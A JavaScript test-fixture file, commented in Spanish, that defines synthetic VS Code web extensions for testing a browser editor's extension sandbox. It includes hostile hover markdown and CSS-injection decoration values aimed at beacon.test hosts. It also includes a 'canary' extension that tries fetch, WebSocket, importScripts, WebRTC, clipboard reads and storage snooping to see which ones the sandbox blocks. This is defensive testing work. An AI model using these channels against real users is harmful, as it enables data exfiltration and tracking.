Elffuss BraidHub

utopia-ia/elffuss-code public

main · 18.7 KiBRawPermalink
1// Extensiones web SINTÉTICAS para las pruebas del nivel 2: se fabrican aquí,
2// sin red ni licencias de terceros. Cada una es { manifest, files } con el
3// código en `files` (ruta → texto), como quedaría guardada tras instalarla.
4//
5// sort comando que ordena las líneas seleccionadas, con atajo
6// fmt formateador de JavaScript (quita espacios repetidos)
7// hover hover con markdown hostil (imágenes, enlaces, HTML)
8// sym símbolos de documento (funciones de JavaScript)
9// diag diagnósticos (cada «TODO» es un aviso)
10// ui pide respuestas al usuario al arrancar (avisos, selector, texto)
11// noop un comando que no hace nada
12// observer hover, autocompletado y símbolos para todo, siempre vacíos
13// canary intenta salir a la red y leer el almacenamiento de Code por
14// todos los canales que tiene un worker; informa de cada intento
15
16const base = (name, extra = {}) => ({
17 name, publisher: 'elffuss-test', version: '1.0.0', displayName: 'X2 ' + name, license: 'MIT',
18 engines: { vscode: '^1.80.0' }, browser: './extension.js', ...extra,
19});
20
21export const SORT = {
22 manifest: base('sort', {
23 activationEvents: [],
24 contributes: {
25 commands: [{ command: 'x2sort.sortLines', title: 'Sort Lines (fixture)', category: 'X2' }],
26 keybindings: [
27 { command: 'x2sort.sortLines', key: 'f9', when: 'editorTextFocus' },
28 { command: 'x2sort.sortLines', key: 'ctrl+p', mac: 'cmd+p' },
29 ],
30 },
31 }),
32 files: {
33 'extension.js': `const vscode = require('vscode');
34exports.activate = function (context) {
35 context.subscriptions.push(vscode.commands.registerCommand('x2sort.sortLines', async () => {
36 const ed = vscode.window.activeTextEditor;
37 if (!ed) return 'no-editor';
38 const doc = ed.document, sel = ed.selection;
39 const first = sel.isEmpty ? 0 : sel.start.line;
40 let last = sel.isEmpty ? doc.lineCount - 1 : sel.end.line;
41 if (!sel.isEmpty && sel.end.character === 0 && last > first) last--;
42 const lines = [];
43 for (let i = first; i <= last; i++) lines.push(doc.lineAt(i).text);
44 const sorted = [...lines].sort();
45 const range = new vscode.Range(first, 0, last, doc.lineAt(last).text.length);
46 await ed.edit(b => b.replace(range, sorted.join('\\n')));
47 return 'sorted:' + lines.length;
48 }));
49};
50`,
51 },
52};
53
54export const FMT = {
55 manifest: base('fmt', { activationEvents: ['onLanguage:javascript'] }),
56 files: {
57 'extension.js': `const vscode = require('vscode');
58exports.activate = function (context) {
59 context.subscriptions.push(vscode.languages.registerDocumentFormattingEditProvider('javascript', {
60 provideDocumentFormattingEdits(doc) {
61 const text = doc.getText();
62 const out = text.split('\\n').map(l => l.replace(/(\\S) {2,}/g, '$1 ').replace(/\\s+$/, '')).join('\\n');
63 if (out === text) return [];
64 const end = doc.lineAt(doc.lineCount - 1).range.end;
65 return [vscode.TextEdit.replace(new vscode.Range(new vscode.Position(0, 0), end), out)];
66 },
67 }));
68};
69`,
70 },
71};
72
73export const HOSTILE_MD = '**x2 hover** ![img](http://beacon.test/hover.png) [link](https://beacon.test/link) <img src="http://beacon.test/html.png"> https://beacon.test/auto `code`';
74export const HOVER = {
75 manifest: base('hover', { activationEvents: ['onLanguage:javascript'] }),
76 files: {
77 'extension.js': `const vscode = require('vscode');
78exports.activate = function (context) {
79 context.subscriptions.push(vscode.languages.registerHoverProvider({ language: 'javascript' }, {
80 provideHover(doc, pos) {
81 const md = new vscode.MarkdownString(${JSON.stringify(HOSTILE_MD)});
82 md.isTrusted = true; md.supportHtml = true;
83 return new vscode.Hover(md);
84 },
85 }));
86};
87`,
88 },
89};
90
91export const SYM = {
92 manifest: base('sym', { activationEvents: ['onLanguage:javascript'] }),
93 files: {
94 'extension.js': `const vscode = require('vscode');
95exports.activate = function (context) {
96 context.subscriptions.push(vscode.languages.registerDocumentSymbolProvider('javascript', {
97 provideDocumentSymbols(doc) {
98 const out = [];
99 for (let i = 0; i < doc.lineCount; i++) {
100 const m = /function\\s+([A-Za-z_$][\\w$]*)/.exec(doc.lineAt(i).text);
101 if (m) {
102 const r = doc.lineAt(i).range;
103 const s = new vscode.Range(i, m.index + 9, i, m.index + 9 + m[1].length);
104 out.push(new vscode.DocumentSymbol('x2:' + m[1], 'fixture', vscode.SymbolKind.Function, r, s));
105 }
106 }
107 return out;
108 },
109 }, { label: 'X2 symbols' }));
110};
111`,
112 },
113};
114
115// Diagnósticos propios (cada «TODO»), y x2diag.pageMarkers: los que la
116// extensión ve de otros (los de la página: el TS de Monaco).
117export const DIAG = {
118 manifest: base('diag', { activationEvents: ['onLanguage:javascript'], contributes: { commands: [{ command: 'x2diag.pageMarkers', title: 'Page markers', category: 'X2' }] } }),
119 files: {
120 'extension.js': `const vscode = require('vscode');
121exports.activate = function (context) {
122 const col = vscode.languages.createDiagnosticCollection('x2diag');
123 context.subscriptions.push(col);
124 const scan = doc => {
125 if (doc.languageId !== 'javascript') return;
126 const out = [];
127 for (let i = 0; i < doc.lineCount; i++) {
128 const j = doc.lineAt(i).text.indexOf('TODO');
129 if (j >= 0) {
130 const d = new vscode.Diagnostic(new vscode.Range(i, j, i, j + 4), 'x2: TODO found ![x](http://beacon.test/diag.png)', vscode.DiagnosticSeverity.Warning);
131 d.source = 'x2diag';
132 d.code = { value: 'X2001', target: vscode.Uri.parse('https://beacon.test/code') };
133 out.push(d);
134 }
135 }
136 col.set(doc.uri, out);
137 };
138 vscode.workspace.textDocuments.forEach(scan);
139 context.subscriptions.push(vscode.workspace.onDidOpenTextDocument(scan), vscode.workspace.onDidChangeTextDocument(e => scan(e.document)));
140 context.subscriptions.push(vscode.commands.registerCommand('x2diag.pageMarkers', () => {
141 const ed = vscode.window.activeTextEditor;
142 return JSON.stringify(ed ? vscode.languages.getDiagnostics(ed.document.uri).filter(d => d.source !== 'x2diag').map(d => d.message) : []);
143 }));
144};
145`,
146 },
147};
148
149// Decoraciones con valores hostiles mezclados con buenos: la página se queda
150// solo con los buenos (colores, márgenes) y pinta el texto «antes» como texto.
151export const DECO = {
152 manifest: base('deco', { activationEvents: ['onLanguage:javascript'] }),
153 files: {
154 'extension.js': `const vscode = require('vscode');
155exports.activate = function (context) {
156 const t = vscode.window.createTextEditorDecorationType({
157 backgroundColor: 'rgba(255, 0, 0, 0.25)', color: new vscode.ThemeColor('editorError.foreground'),
158 border: '1px solid red; background-image: url(http://deco.beacon.test/border.png)',
159 textDecoration: 'none; background: url(http://deco.beacon.test/td.png)',
160 fontFamily: 'x; src: url(http://deco.beacon.test/font.woff)', cursor: 'url(http://deco.beacon.test/cur.png), pointer',
161 gutterIconPath: vscode.Uri.parse('http://deco.beacon.test/gutter.png'), overviewRulerColor: 'red',
162 before: { contentText: 'x2deco>', color: 'url(http://deco.beacon.test/c.png)', margin: '0 4px 0 0' },
163 light: { backgroundColor: '#00ff0033' }, dark: { backgroundColor: '#0000ff33' },
164 });
165 const apply = ed => {
166 if (!ed || ed.document.languageId !== 'javascript') return;
167 const ranges = [];
168 for (let i = 0; i < ed.document.lineCount; i++) {
169 const j = ed.document.lineAt(i).text.indexOf('TODO');
170 if (j >= 0) ranges.push({ range: new vscode.Range(i, j, i, j + 4), hoverMessage: new vscode.MarkdownString('x2 deco ![i](http://deco.beacon.test/hover.png)') });
171 }
172 ed.setDecorations(t, ranges);
173 };
174 apply(vscode.window.activeTextEditor);
175 context.subscriptions.push(t, vscode.window.onDidChangeActiveTextEditor(apply),
176 vscode.workspace.onDidChangeTextDocument(e => { const ed = vscode.window.activeTextEditor; if (ed && e.document === ed.document) apply(ed); }));
177};
178`,
179 },
180};
181
182// Pide cosas al usuario. Al arrancar lee el portapapeles (vacío). x2ui.clip
183// escribe en él (la página solo lo hace con un gesto reciente del usuario).
184// Con x2ui.ask: un aviso con botones (texto con HTML y un enlace, que deben
185// quedar en texto), un aviso modal, un selector, uno de varios, y un cuadro de
186// texto con validación. x2ui.progress: progreso en la barra de estado.
187// x2ui.open(url): openExternal con un vscode.Uri. x2ui.note y x2ui.question:
188// un aviso sin botones y uno con botones.
189export const UI = {
190 manifest: base('ui', { activationEvents: ['onStartupFinished'], contributes: { commands: [
191 { command: 'x2ui.ask', title: 'UI ask', category: 'X2' },
192 { command: 'x2ui.report', title: 'UI report', category: 'X2' },
193 { command: 'x2ui.progress', title: 'UI progress', category: 'X2' },
194 { command: 'x2ui.clip', title: 'UI clipboard', category: 'X2' },
195 { command: 'x2ui.open', title: 'UI open address', category: 'X2' },
196 { command: 'x2ui.note', title: 'UI note', category: 'X2' },
197 { command: 'x2ui.question', title: 'UI question', category: 'X2' },
198 ] } }),
199 files: {
200 'extension.js': `const vscode = require('vscode');
201const out = {};
202let n = 0;
203exports.activate = async function (context) {
204 out.clipboardRead = await vscode.env.clipboard.readText();
205 context.subscriptions.push(
206 vscode.commands.registerCommand('x2ui.clip', async () => { n++; await vscode.env.clipboard.writeText('x2 clipboard ' + n); return n; }),
207 vscode.commands.registerCommand('x2ui.ask', async () => {
208 out.info = await vscode.window.showInformationMessage('x2 asks <b>bold</b> [link](https://toast.beacon.test/t)', 'Yes', 'No');
209 out.modal = await vscode.window.showWarningMessage('x2 modal', { modal: true, detail: 'x2 detail' }, 'OK');
210 out.pick = await vscode.window.showQuickPick(['a', 'b', 'c'], { placeHolder: 'x2 pick' });
211 const many = await vscode.window.showQuickPick([{ label: 'one' }, { label: 'two', picked: true }, { label: 'three' }], { canPickMany: true });
212 out.many = many ? many.map(x => x.label) : many;
213 out.input = await vscode.window.showInputBox({ prompt: 'x2 input', validateInput: v => (v === 'bad' ? 'x2 not that' : null) });
214 return JSON.stringify(out);
215 }),
216 vscode.commands.registerCommand('x2ui.report', () => JSON.stringify(out)),
217 // abrir una dirección como lo hacen las extensiones: con un vscode.Uri
218 vscode.commands.registerCommand('x2ui.open', async url => String(await vscode.env.openExternal(vscode.Uri.parse(String(url))))),
219 // un aviso sin botones (se va solo) y uno con botones (espera la respuesta)
220 vscode.commands.registerCommand('x2ui.note', async () => { await vscode.window.showInformationMessage('x2 note'); return 'closed'; }),
221 vscode.commands.registerCommand('x2ui.question', async () => String(await vscode.window.showWarningMessage('x2 question', 'Keep', 'Drop'))),
222 vscode.commands.registerCommand('x2ui.progress', () => vscode.window.withProgress({ location: vscode.ProgressLocation.Notification, title: 'x2 working' }, async p => {
223 p.report({ message: 'half' });
224 await new Promise(r => setTimeout(r, 1500));
225 return 'done';
226 })),
227 );
228};
229`,
230 },
231};
232
233// Pide cosas que el cortafuegos de RPC del recinto rechaza: una webview y
234// guardar todo. La extensión recibe el error; la página cuenta el rechazo.
235export const DENY = {
236 manifest: base('deny', { activationEvents: [], contributes: { commands: [{ command: 'x2deny.report', title: 'Deny report', category: 'X2' }] } }),
237 files: {
238 'extension.js': `const vscode = require('vscode');
239exports.activate = c => c.subscriptions.push(vscode.commands.registerCommand('x2deny.report', async () => {
240 const out = {};
241 try { const p = vscode.window.createWebviewPanel('x2', 'x2', vscode.ViewColumn.One, {}); out.webview = 'returned'; p.dispose(); } catch (e) { out.webview = 'threw: ' + (e && e.message); }
242 try { out.saveAll = await vscode.workspace.saveAll(); } catch (e) { out.saveAll = 'threw: ' + (e && e.message); }
243 return JSON.stringify(out);
244}));
245`,
246 },
247};
248
249export const NOOP = {
250 manifest: base('noop', { contributes: { commands: [{ command: 'x2noop.hello', title: 'Hello (fixture)', category: 'X2' }] } }),
251 files: { 'extension.js': `const vscode = require('vscode');\nexports.activate = c => c.subscriptions.push(vscode.commands.registerCommand('x2noop.hello', () => 'hello'));\n` },
252};
253
254export const OBSERVER = {
255 manifest: base('observer', { activationEvents: ['*'] }),
256 files: {
257 'extension.js': `const vscode = require('vscode');
258exports.activate = function (context) {
259 const all = [{ scheme: 'file' }, { scheme: 'untitled' }];
260 context.subscriptions.push(
261 vscode.languages.registerHoverProvider(all, { provideHover() { return null; } }),
262 vscode.languages.registerCompletionItemProvider(all, { provideCompletionItems() { return []; } }),
263 vscode.languages.registerDocumentSymbolProvider(all, { provideDocumentSymbols() { return []; } }),
264 );
265};
266`,
267 },
268};
269
270// Canario básico (el completo, con el fuzzer de campos y el simulacro, es de
271// la parte B2): desde el worker del host de extensiones intenta cada canal de
272// red y de almacenamiento, con nombres *.test únicos, y deja el resultado en
273// el comando x2canary.report.
274export const CANARY = {
275 manifest: base('canary', { activationEvents: ['*'], contributes: { commands: [{ command: 'x2canary.report', title: 'Canary report', category: 'X2' }] } }),
276 files: {
277 'extension.js': `const vscode = require('vscode');
278const results = [];
279const tryIt = async (channel, fn) => {
280 try { const r = await fn(); results.push({ channel, outcome: 'ALLOWED', detail: String(r).slice(0, 200) }); }
281 catch (e) { results.push({ channel, outcome: 'blocked', detail: String(e && (e.message || e)).slice(0, 200) }); }
282};
283const B = n => 'http://' + n + '.beacon.test:' + (self.__beaconPort || 80) + '/x2-canary/' + n;
284async function run(port) {
285 self.__beaconPort = port;
286 await tryIt('fetch', () => fetch(B('fetch'), { mode: 'no-cors' }).then(r => r.type));
287 await tryIt('fetch-loopback', () => fetch('http://127.0.0.1:' + port + '/x2-canary/loopback', { mode: 'no-cors' }).then(r => r.type));
288 await tryIt('xhr', () => new Promise((res, rej) => { const x = new XMLHttpRequest(); x.open('GET', B('xhr')); x.onload = () => res(x.status); x.onerror = () => rej(new Error('xhr error')); x.send(); }));
289 await tryIt('sendBeacon', () => { if (!self.navigator.sendBeacon) throw new Error('no sendBeacon'); return self.navigator.sendBeacon(B('beacon'), 'x'); });
290 await tryIt('websocket', () => new Promise((res, rej) => { const w = new WebSocket(B('ws').replace('http', 'ws')); w.onopen = () => res('open'); w.onerror = () => rej(new Error('ws error')); setTimeout(() => rej(new Error('ws timeout')), 3000); }));
291 await tryIt('eventsource', () => new Promise((res, rej) => { if (!self.EventSource) return rej(new Error('no EventSource')); const s = new EventSource(B('sse')); s.onopen = () => res('open'); s.onerror = () => { s.close(); rej(new Error('sse error')); }; }));
292 await tryIt('import', () => import(B('import')));
293 await tryIt('importScripts', () => importScripts(B('importscripts')));
294 await tryIt('worker', () => new Promise((res, rej) => { try { const w = new Worker(B('worker')); w.onerror = () => rej(new Error('worker error')); setTimeout(() => res('created'), 1000); } catch (e) { rej(e); } }));
295 await tryIt('open-vsx', () => fetch('https://open-vsx.org/api/-/search?query=x2-canary', { mode: 'no-cors' }).then(r => r.type));
296 await tryIt('webrtc', () => { if (typeof RTCPeerConnection === 'undefined') throw new Error('no RTCPeerConnection'); return new RTCPeerConnection({ iceServers: [{ urls: 'stun:stun.beacon.test:3478' }] }); });
297 await tryIt('indexedDB', () => (indexedDB.databases ? indexedDB.databases() : Promise.resolve([])).then(d => { const names = d.map(x => x.name); if (names.some(n => /elffuss/.test(n))) throw new Error('SAW CODE STORAGE: ' + names.join(',')); return 'own: ' + names.join(','); }));
298 await tryIt('opfs', async () => { const root = await navigator.storage.getDirectory(); const names = []; for await (const k of root.keys()) names.push(k); if (names.some(n => /canary|app\\.js/.test(n))) throw new Error('SAW CODE OPFS: ' + names.join(',')); return 'own: ' + names.join(','); });
299 await tryIt('caches', async () => { if (!self.caches) return 'no caches'; const k = await caches.keys(); return 'own: ' + k.join(','); });
300 await tryIt('clipboard', async () => { if (!navigator.clipboard) throw new Error('no clipboard'); return navigator.clipboard.readText(); });
301 await tryIt('openExternal', () => vscode.env.openExternal(vscode.Uri.parse(B('open'))).then(ok => { if (ok) throw new Error('opened'); return 'refused'; }));
302 await tryIt('asExternalUri', () => vscode.env.asExternalUri(vscode.Uri.parse(B('asexternal'))).then(u => u.toString()));
303 await tryIt('clipboard-api', () => vscode.env.clipboard.readText().then(t => 'read ' + t.length + ' chars'));
304 return results;
305}
306exports.activate = function (context) {
307 context.subscriptions.push(vscode.commands.registerCommand('x2canary.report', async port => {
308 results.length = 0;
309 await run(Number(port) || 80);
310 return JSON.stringify(results);
311 }));
312};
313`,
314 },
315};
316
317export const ALL = { SORT, FMT, HOVER, SYM, DIAG, DECO, UI, DENY, NOOP, OBSERVER, CANARY };
318
319// Registro tal como lo guarda store.js (nivel 2): `runs` encendido y el
320// código bajo id@versión/code/<ruta>. Se usa dentro de la página:
321// await seed(page, [SORT, FMT])
322export function recordFor(fx, { runs = true, enabled = true } = {}) {
323 const id = `${fx.manifest.publisher}.${fx.manifest.name}`.toLowerCase();
324 const files = { ...fx.files, 'package.json': JSON.stringify(fx.manifest, null, 2) };
325 const bytes = Object.values(files).reduce((n, t) => n + Buffer.byteLength(t), 0);
326 return {
327 rec: {
328 id, publisher: fx.manifest.publisher, name: fx.manifest.name, version: fx.manifest.version,
329 displayName: fx.manifest.displayName, description: '', license: 'MIT', sha256: '0'.repeat(64), verified: false,
330 source: 'test', size: bytes, installedAt: Date.now(), enabled, runs,
331 hasCode: true, ignored: [], pack: [], warnings: [], themes: [], grammars: [], snippets: [], languages: [], licenseKey: null,
332 code: { entry: fx.manifest.browser, files: Object.keys(files), bytes, manifest: fx.manifest },
333 },
334 files,
335 };
336}
337
338// Mete las extensiones en IndexedDB y en kv «extensions» desde la página
339// (el mismo store.js de Code), como si se hubieran instalado.
340export async function seed(page, fixtures, opts = {}) {
341 const recs = fixtures.map(f => recordFor(f, opts));
342 await page.evaluate(async recs => {
343 const store = await import('/js/ext/store.js');
344 for (const { rec, files } of recs) {
345 const m = new Map();
346 for (const [p, text] of Object.entries(files)) m.set(store.codeKey(rec.id, rec.version, p), new TextEncoder().encode(text).buffer);
347 await store.put(rec, m);
348 }
349 }, recs);
350 return recs.map(r => r.rec.id);
351}